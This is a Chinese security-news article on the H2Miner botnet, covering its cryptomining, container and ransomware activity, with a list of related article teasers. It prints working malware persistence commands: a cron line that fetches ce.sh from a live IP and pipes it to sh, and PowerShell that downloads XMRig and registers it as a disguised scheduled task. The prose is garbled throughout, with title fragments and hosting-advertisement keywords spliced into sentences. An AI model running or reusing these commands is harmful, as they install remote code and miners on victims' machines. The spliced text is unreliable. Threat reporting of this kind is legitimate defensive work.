H2Miner 僵尸网络攻击 Linux、Windows 及容器设备进行门罗币挖矿
我要评论首次发现于2019年末的僵尸及容H2Miner僵尸网络近期卷土重来 ，其攻击手段已突破加密货币劫持与勒索软件的网络挖矿界限 。最新攻击活动利用廉价虚拟专用服务器(VPS)和多种常见恶意软件，攻击同时入侵Linux主机 、器设Windows工作站和容器工作负载 。备进
攻击者通过组合云环境感知脚本、行门跨平台编译二进制文件以及系统原生命令 ，罗币能在防御者察觉CPU负载异常前快速建立门罗币挖矿通道 。香港云服务器僵尸及容攻击始于对配置错误服务或漏洞应用的网络挖矿利用 ，包括Apache ActiveMQ（CVE-2023-46604）和Log4Shell漏洞 。攻击
入侵成功后 ，器设僵尸网络会部署定制化加载脚本——Linux系统使用ce.sh，备进Windows系统使用1.ps1——这些脚本会终止其他挖矿进程 、行门禁用终端防护 ，罗币并从78.153.140.66下载XMRig挖矿程序 。僵尸及容容器环境同样遭受攻击：spr.sh脚本会扫描Docker镜像并移除阿里云的免费模板aegis防护代理 ，随后植入Kinsing恶意软件 。
复合型攻击基础设施同一攻击基础设施还托管着位于47.97.113.36的Cobalt Strike团队服务器 ，以及伪装成"MicrosoftSoftware.exe"的Bitbucket代码仓库 ，显示出成熟的多层命令与控制(C2)架构。Fortinet分析师发现，源码下载新型VBScript勒索软件Lcrypt0rx已与挖矿程序捆绑传播。
虽然其加密算法较为简单——采用8,192字符的XOR密钥结合文件专属盐值——但该脚本仍会覆写主引导记录(MBR)，并在系统中散布伪装持久化钩子 。
钱包地址与托管服务器的重叠表明 ，当前攻击者可能与H2Miner原始团队存在协作或从属关系 。
持久化机制剖析H2Miner通过分层感染链实现持久化 。初始脚本会枚举防御进程 ，高防服务器使用暴力正则表达式终止这些进程 ，并通过清除命令历史来抹除攻击痕迹 。
Linux系统中 ，ce.sh会植入每10分钟自我重下载的cron计划任务 ：
复制( crontab -l 2>/dev/null ; \ echo "*/10 * * * * curl -fsSL http://80.64.16.241/ce.sh | sh" ) | crontab -1.2.Windows系统则通过1.ps1脚本将XMRig注册为计划任务：
复制$miner = "$env:TEMP\sysupdate.exe" Invoke-WebRequest -Uri "http://78.153.140.66/xmrig.exe" -OutFile $miner schtasks /create /f /tn "Update service for Windows Service" ` /tr "$miner" /sc minute /mo 15 /rl highest1.2.3.4. 复合防御策略需求在Windows平台 ，Lcrypt0rx通过Shell.Application提权后 ，会尝试修改Winlogon Shell和映像劫持(IFEO)注册表键实现持久化 。虽然注册表逻辑存在缺陷 ，但恶意软件通过部署6个辅助脚本（从循环执行杀毒软件终止的服务器租用advapi32_ext.vbs ，到基础自传播脚本USB_bridge.vbs）确保存活 。
这些辅助脚本均以隐藏系统文件属性(+h +s +r)投放，并通过注册表自启动项调用。配合cpr.sh等频繁更新的脚本 ，即使部分组件被清除，僵尸网络仍能重建挖矿通道。防御者需全面清理容器镜像 、亿华云计划任务 、cron条目和异常注册表键，否则门罗币钱包（如4ASk4RhU...p8SahC）将在警报解除后持续窃取计算资源 。
相关文章
根据安全服务商HP Wolf Security公司日前的调查，随着企业员工的工作如今变得越来越分散，IT领导者表示，防御固件攻击比以往任何时候都更加困难。破坏性固件攻击的威胁越来越大向混合工作模式的2025-12-08
云原生技术蓬勃发展，已成为赋能企业业务创新的重要推动力。Gartner报告指出，2022年将有75%的全球化企业会在生产中使用云原生的容器化应用。到2025年，超过95%的新云工作负载将部署在云原生平2025-12-08
在保护用户网络安全的战场上，密码一直都站在最前沿。但密码技术本身，也有着易遭破解、难于记忆、管理不便等不足和应用挑战。在今年的世界密码日前夕，Google公司正式发布了一项新服务——2025-12-08
如今，一些网络攻击者通过超越企业的创新技术，加快了攻击的步伐。因此，大规模的网络攻击在2023年将不可避免。在过去的两个月，T-Mobile公司、LastPass公司和弗吉尼亚联邦大学卫生系统都遭到了2025-12-08
据BleepingComputer网站6月14日消息，为了提高勒索效率，勒索软件团伙BlackCat创建了一个专属网站，允许受害者检查他们的数据是否在攻击中被盗，这一做法的目的是为了迫使受害者付费。在2025-12-08
一、背景由于对数字化和物联网的日益依赖，各种安全事件，例如未授权访问、恶意软件攻击、数据泄露、拒绝服务攻击DOS）、分布式拒绝服务攻击DDOS）、网络钓鱼等等，此类安全事件近年来以指数级的速度增长。在2025-12-08
最新评论